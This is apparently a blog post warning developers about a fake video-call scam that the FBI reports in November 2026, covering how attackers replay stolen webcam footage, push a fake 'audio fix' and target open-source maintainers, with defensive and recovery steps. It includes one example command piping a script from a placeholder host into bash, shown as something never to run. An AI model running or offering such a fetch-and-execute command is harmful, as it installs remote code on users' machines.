Fake Video Call Scam: The "Fix Your Audio" Trap Targeting Developers

Cover image alt: Person on a laptop video call, illustrating a fake video call scam

A message from a colleague, a meeting link, a familiar face in the lobby, then "I can't hear you, run this fix." That is a fake video call scam, and the FBI published a detailed warning on November 12, 2026. It matters to developers in particular: the FBI says the same technique is now used against open-source maintainers. The advice below is US-based (FBI).

What is the fake video call scam?

The FBI's FLASH report, North Korean Hackers Use Secretly Recorded Webcam Library of 900+ Tech Workers in $400M "FaceStealer" Crypto Theft Scheme, describes imposter versions of Zoom, Microsoft Teams and Google Meet controlled by hackers. The FBI attributes the activity to North Korean state-sponsored groups and says it has led to more than $400 million in stolen crypto over 18 months. The FBI also reports it seized 900+ secretly recorded victim webcam videos.

The video is the clever part. Instead of faking a face from scratch, the hackers replay real webcam footage taken from earlier victims. The FBI adds that AI-generated deepfakes of well-known people in the crypto and web3 world are starting to appear, but says the scheme still overwhelmingly relies on stolen genuine video. In other words, "the person looked real" is no longer a safe test.

How the fake video call scam works

The FBI's FaceStealer overview lists the cycle:

Hackers compromise a victim and secretly record their webcam.

They hijack the victim's chat account (Telegram, LinkedIn, Slack or Discord, per the FLASH) and message contacts.

A link to a lookalike Zoom or Teams domain arrives, often just before the meeting.

The target sees recorded video of the person who invited them, sometimes with several "participants."

A fake audio problem appears, and the target is guided to click an update, run a script or paste code into a terminal. That installs malware.

According to NBC Los Angeles, an FBI agent described it as "a video of a prior victim." The FBI says victims included experienced crypto executives, developers and security experts. The invite pretext is usually a catch-up, a collaboration or an investment chat, and because the attackers can read old chats, the message can be tailored to past conversations.

Why developers and maintainers are in the frame

The FBI says hackers use the same lure to reach device access and repository accounts, aiming at the software supply chain. It describes an attempt earlier this year against a maintainer of a JavaScript library with tens of millions of weekly downloads. The attackers allegedly planned malicious dependencies, but quick detection stopped it. The FBI also mentions attempts against maintainers on npm and, recently, Rust crates.

A compromised laptop can expose more than a wallet: browser cookies, keyloggers, screen captures and a backdoor, per the FLASH. The FBI also says hackers sometimes waited months or over a year before stealing, watching wallet balances grow first. A quiet machine is not necessarily a clean one.

Protect yourself from a fake video call scam

From the FBI's recommendations:

Open the official Zoom or Teams app and join with an invite code instead of clicking links, especially for new or infrequent contacts.

Keep your webcam off until you can see, hear and talk to the inviter.

Never run scripts or paste code to "update" a meeting client. Update the app separately.

Check calendar invites: hackers often leave out the video link and send it later.

Confirm the meeting on a second channel (text or phone).

Add multifactor authentication and login alerts to chat apps; consider expiring messages.

Keep recovery phrases and large crypto balances off your everyday device.

A command pasted into a terminal during a call is the red flag. Never do it, whatever reason is given:

# DO NOT run anything a call or chat participant tells you to paste
curl -s https://example.invalid/fix.sh | bash

If you think you were hit

Per the FBI: move crypto to a new wallet created on a clean device, change passwords, log out all sessions, add MFA, warn contacts and your employer, and report at IC3.gov with the keyword "FaceStealer". The FTC's What To Do If You Were Scammed covers general steps (US).

My take

I have not had this happen to me — nobody has ever asked me to run a fix or install something in the middle of a video call. Reading the FBI's warning, though, I can see how easily it would work: if a familiar face is on screen and everyone seems to be waiting on you, the pressure to just click the update is real. My rule from now on is simple — if a call ever asks me to run a script, paste code, or install anything, the call ends there, and I will open the app myself and check with the person on a separate call or message. That is also what I am telling my family: a face on the screen is not proof anymore, and no genuine meeting needs you to install something just to be heard.

Your turn

Has a meeting tool ever asked you to run a command to "fix" something? What would make you stop and verify first?

Sources

FBI, FaceStealer Cryptocurrency Theft Scheme

FBI FLASH AC-111226-MS (12 November 2026): North Korean Hackers Use Secretly Recorded Webcam Library of 900+ Tech Workers in $400M "FaceStealer" Crypto Theft Scheme

NBC Los Angeles, FBI's LA Field Office warns of 'FaceStealer' cryptocurrency theft scheme (12 November 2026)

FTC, What To Do If You Were Scammed